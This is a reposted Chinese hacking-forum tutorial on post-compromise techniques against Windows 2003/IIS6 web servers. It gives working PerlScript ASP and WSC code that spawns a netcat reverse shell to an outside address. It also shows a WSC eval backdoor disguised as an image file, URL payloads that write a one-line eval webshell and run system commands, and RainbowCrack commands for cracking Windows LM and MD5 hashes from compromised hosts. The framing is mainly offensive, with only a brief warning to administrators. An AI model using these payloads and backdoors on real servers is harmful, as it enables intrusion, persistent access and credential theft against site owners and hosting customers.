找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 802|回复: 0

续谈Hacking中的小技巧

[复制链接]

735

主题

1102

回帖

3076

牛毛

二级牛人

积分
3096
QQ
发表于 2009-7-6 19:01:55 | 显示全部楼层 |阅读模式 来自 山东省威海市
续谈Hacking中的小技巧
来源:海阳顶端
  本文已发于 非安全
  作者:NetPatch
  继11期和12期的两篇介绍Hacking中的小命令的后,在LCX大哥的淫威下,偶只能继续科普生涯了。长话短说,我们直接进入正题。
  以下内容测试环境均为2K3+IIS6
  一.Perl、python环境的利用!
  话说Perl环境,除了服务器支持PL这个扩展映射外,我们一般无法使用Perl去做一些想做的事情。比如,当旁注进入服务器,却因服务器执行不了命令而原地踏步,无法继续向最高权限前进。特别是现在国内的虚拟机,大部分都是如此,让小菜们很是头疼。所以今天NP就来讲讲被一般人忽视的Perl环境。首先,Perl环境,可以让我们利用的,是环境变量和目录的权限疏忽,这个可以参考我07年10期写的《谈环境变量在Hacking中的利用》!其次,也是被一般人遗忘的技巧,虽然服务器不支持PL扩展映射,但是安装ActivePerl后默认支持perlscript,于是我们用perlscript写ASP文件,在ASP里用Perlscript的内部函数来执行命令,或者做些Perlscript能做的事情。但是权限任然是ASP的来宾权限,具体权限分配以及原理可以参考08年12期我写的《小谈WIN系统Hacking中的小命令》
  我们来举例说明下。
  <[email=%@Language=PerlScript%]%@Language=PerlScript%[/email]>
  [email=#@Language=PerlScript]#@Language=PerlScript[/email]  这句表明这一页的ASP脚本所使用的脚本语言为Perlscript
  #由于是Perl,所以注释是用井号
  <%
  system("e://wwwroot//cmd.exe /c e://wwwroot//nc.exe -e cmd.exe -v 192.168.8.100 443");
  #用system函数执行命令
  #exec("e://wwwroot//cmd.exe /c e://wwwroot//nc.exe -e cmd.exe -v 192.168.8.100 443");
  #用exec函数执行命令
  %>
  将上面的代码保存为perl.asp,本地NC**443,执行后,我们的NC会接到目标机器反弹回来的SHELL。如图1所示
  换成EXEC也一样,不过我们就不多说明了,举一反三,其他的就留给读者自己去做试验咯。
  Python环境也一样。当服务器装有activepython时,我们就可以用@Language定义本页脚本解析语言来切换成Python!
  范例:
  <[email=%@LANGUAGE=]%@LANGUAGE="python[/email]" CODEPAGE="936"%>
  <%
  import os
  import os.path
  rootdir = "e://wwwroot//"
  for parent, dirnames, filenames in os.walk(rootdir):
  #case 1:
  for dirname in dirnames:
  Response.Write("parent is:"+parent+"<br>")
  Response.Write("dirname is:"+dirname+"<br>")
  #case 2
  for filename in filenames:
  #Response.Write("parent is:"+parent+"<br>")
  Response.Write("filename with full path :"+os.path.join(parent, filename)+"<br>")
  %>
  运行结果如图2
  当然你也可以发挥DIY精神,改造一个好用的基于asp的Perl或者Python的Webshell。这边我就不献丑了,留个读者当复习作业咯。
  这边唯一要提示的是,Python对中文支持不是很好,写代码的时候尽量使用英文。
  NP在测试时有一想法,不知道在支持perlscript和python服务器上,是否可以利用这两脚本语言的SOCK函数去做些什么事情呢?YY中...
  二、WSC “Windows 脚本部件”的巧用。
P>
  对于WSC,可能大多数的人,都会感到很陌生!我也是通过LCX大哥的介绍才开始认识这个强大的东东。Windows 脚本部件为您提供了用脚本创建功能强大、可复用的 COM 部件的简便方式。您可以使用任何支持 Microsoft ActiveX Scripting 接口的脚本语言来创建脚本部件。支持这些接口的脚本语言有: JScript、 Microsoft Visual Basic Scripting Edition (VBScript)、PERLScript、PScript 和 Python。
  这次我们也不多介绍,就介绍asp调用WSC,用Vbscript和Perlscript,其他的就让读者自己慢慢研究吧
  WSC文件内容如下:
  <?XML version="1.0"?>
  <package>
  <Component>
  <registration ProgId=lcxNB />
  <public>
  <property name=lcxNNB />
  <method name=run>
  <parameter name=str />
  </method>
  </public>
  <script language=vbscript runat=server>
  function run(str)
  run=eval(str)
  end function
  </script>
  </Component>
  </package>
  或许你对这些不大明白,我们来看下微软给的帮助吧。
  <component> 和 <package> 元素    <component> 元素包含的是一个完整的脚本部件定义。在同一个 .wsc 文件中可以出现多个 <component> 元素,但这些元素应包含在一个 <package> 元素内。
  <registration> 元素   包括用来将脚本部件注册为 COM 部件的信息。如果宿主应用程序 (如 Microsoft Internet Explorer 5.0)在创建该脚本部件的实例时没有直接使用 Windows 注册表,则该元素不是必需的。
  <public> 元素   包含脚本部件所说明的属性、方法和事件的定义。这些定义指向定义在独立的 <script> 块中的变量或函数。
  <implements> 元素   给脚本部件指定 COM 接口处理程序,这将确定该脚本部件属于哪种 COM 部件类型。例如,通过指定 <implements type=ASP>,就可以实现 ASP 接口处理程序,并因此在脚本部件中可以访问 ASP 对象模型。
  <public> 元素即指定了脚本部件将实现 COM Automation 接口处理程序。因此,对 Automation 处理程序无需创建 <implements> 元素。
  注意   脚本部件运行库包括用于 Automation (使用 <public> 元素说明的)、用于 ASP 以及用于 Internet Explorer 5.0 DHTML Behavior 的接口处理程序。其他接口处理程序可以作为外部 DLL 获得。关于附加的接口处理程序和脚本部件的详细信息,请参阅 Microsoft Scripting Technologies Web 站点。
  <script> 元素   包含用来实现脚本部件逻辑的脚本,这取决于所创建的 COM 部件类型。例如,如果要创建的是 COM Automation 部件,则可以在 <public> 元素中声明属性、方法和事件,然后用一个或多个 <script> 元素编写脚本来定义这些内容。
  我们自己编写的话,经常会写错,不过可爱的微软推出了专门生成WSC部件代码的工具Windows Script Component Wizard,我们只要根据提示输入数据即可。
  使用方法看图3、4、5、6、7、8
  我们可以将WSC文件随便改名,然后在ASP里指定就可以了。
  我们再来看下我们调用的ASP文件内容
<
P>  <%GetObject("script:" & Server.MapPath("b.jpg")).run(request(chr(36)))%> 2k和2k3都可以使用
  <%GetObject("script:").run(request(chr(36)))%> 只能2K下使用,2K3不支持远程调用
  WSC.asp?$=CreateObject("Scripting.FileSystemObject").opentextfile("e:\wwwroot\new_webshell.asp",8,true).WriteLine("<%25eval(request(chr(36)))%25>")
  访问上面给出的地址,就可以往e:\wwwroot\目录写入一句话webshell
  WSC.asp?$=CreateObject("WScript.Shell").run("e:\wwwroot\cmd.exe /c net user>e:\wwwroot\cmd.txt")
  用此以上URL访问,就可以用Wscript.sehll执行命令
  由于我们是调用VBSCRIPT,所以都是以VBSCRIPT的环境来执行的,也就是说,不支持ASP里的response request server.mappath等函数,参数传递是个问题。
  我们再来看看perlscript
  <?xml version="1.0"?>
  <component>
  <registration progid="SimpleASP.WSC"/>
  <public>
  <method name="Test"/>
  </public>
  <implements type="ASP"/>
  <script language="PerlScript">
  <![CDATA[
  sub Test {
  exec("e:\\wwwroot\\cmd.exe /c e:\\wwwroot\\nc.exe -e cmd.exe -v 192.168.8.100 443");
  }
  ]]>
  </script>
  </component>
  唯一不同的是,我们用language指定了脚本解析语言为PerlScript(再强调下,需要服务器支持Perlscript)
  当我们把下面代码保存为ASP文件,并访问时,即可获得一个反弹SHELL。
  <%GetObject("script:" & Server.MapPath("SimpleASP.WSC")).Test%>
  三、RainBowCrack的使用
  相信不少朋友进入目标服务器后都曾为管理员密码的事伤过脑筋吧。又是GINA又是HASH的。往常,很多人采用GINA记录管理员登陆密码以达到继续渗透的目的,或者用LC5破解LM Hash,但是LC5是采用普通的暴力破解,所以耗时费力,效率太低。早在一年半前我就开始享受RainBowCrack带来的效率。现在国内也开始慢慢普及用Rainbowcrack了。
  RainbowCrack是一款国人开发的密码破译工具,它的设计思路基于快速时间——内存平衡技术(Time-Memory Trade-Off Technique),简单来说就是它在进行密文解密时不是逐条来进行解密操作的,而是在解密前先生成一份完整的明文到密文的对照表,再一次批量对密文进行解密。RainbowCrack代表了目前解密技术的一个新的发展方向,它的诞生也使得广泛使用的MD5算法和Windows的LM算法生成的密文在极短的时间内得到破译,而且破译的成功率也达到了破纪录的水平。
  虽然rainbowcrack用彩虹表跑密码的速度很快,但是创建彩虹表可能要花费数小时、数天甚至好几个月的时间。还好网络上早有组织在从事彩虹表的制作。如比较出名的www.freerainbowtables.com,很多的网络自愿者,自己利用电脑空余时间或空余的系统资源去生成字典,并上传到服务器。我们可以从网络上下载到一些免费的彩虹表.
  RainbowCrack的最新版本为1.2,但它不支持多线程操作!这个工具可以在地址http://www.antsight.com/zsl/rainbowcrack/下载。RainbowCrack包含了下述实用程序:
  rtgen.exe—
彩虹表生成器,生成口令、散列值对照表。
  rtsort.exe——排序彩虹表,为rcrack.exe提供输入。
  rcrack.exe——使用排好序的彩虹表进行口令破解。
  rtdump.exe——彩虹表转储
  我们首先来看下 彩虹表生成器 rtgen.exe 的使用
  rtgen hash_algorithm \
  plain_charset plain_len_min plain_len_max \
  rainbow_table_index \
  rainbow_chain_length rainbow_chain_count \
  file_title_suffixrtgen hash_algorithm \
  plain_charset plain_len_min plain_len_max \
  rainbow_table_index \
  -bench
  具体参数详情 如图9所示
  彩虹表生成器的命令行示例
  rtgen lm numeric 1 7 0 100 16 lmhash
  lm 为我们要的散列算法(Windows口令的散列方法)
  numeric 为明文所用的字符集
  1 为明文的最小长度
  7 为明文的最大长度
  0 为彩虹表的索引
  100 为彩虹链长度
  16 为要生成的彩虹链的个数
  Lmhash 为添加到文件标题后面的字符串,用于书写彩虹表的注释
  当彩虹表生成后,为了加快彩虹表的查找速度,我们需要使用彩虹表排序程序(rtsort.exe)进行排序!
  rtsort的命令很简单,参数就是彩虹表文件名
  rtsort rainbow_table_pathname
  经过几分钟的排序后,我们就可以用生成的字典去跑密码了
  rcrack *.rt -f hashes.txt
  把Hash放到hashes.txt文本中,这样我们可以跑批量的hash散列!
  效果如图10所示
  总结来说,这些技术其实在网络上以及早有出没,只不过,相对在国内相对比较少罢了。只有想不到,没有做不到。只要加以改造,就可以让这些技术成为Hacking中的又一利器!同时也告诫管理员朋友,需要注意的事项。并不是禁止了WSH、SA等组建就不能执行命令的!也并不是服务器不支持PL等扩展映射就没办法使用的。
  HASH散列随着时间和技术的发展也不是遥不可及的!技术和物理条件,缩短了我们爆破的时间,提高了Hacking的效率!
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-4-30 03:01 , Processed in 0.184277 second(s), 35 queries .

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表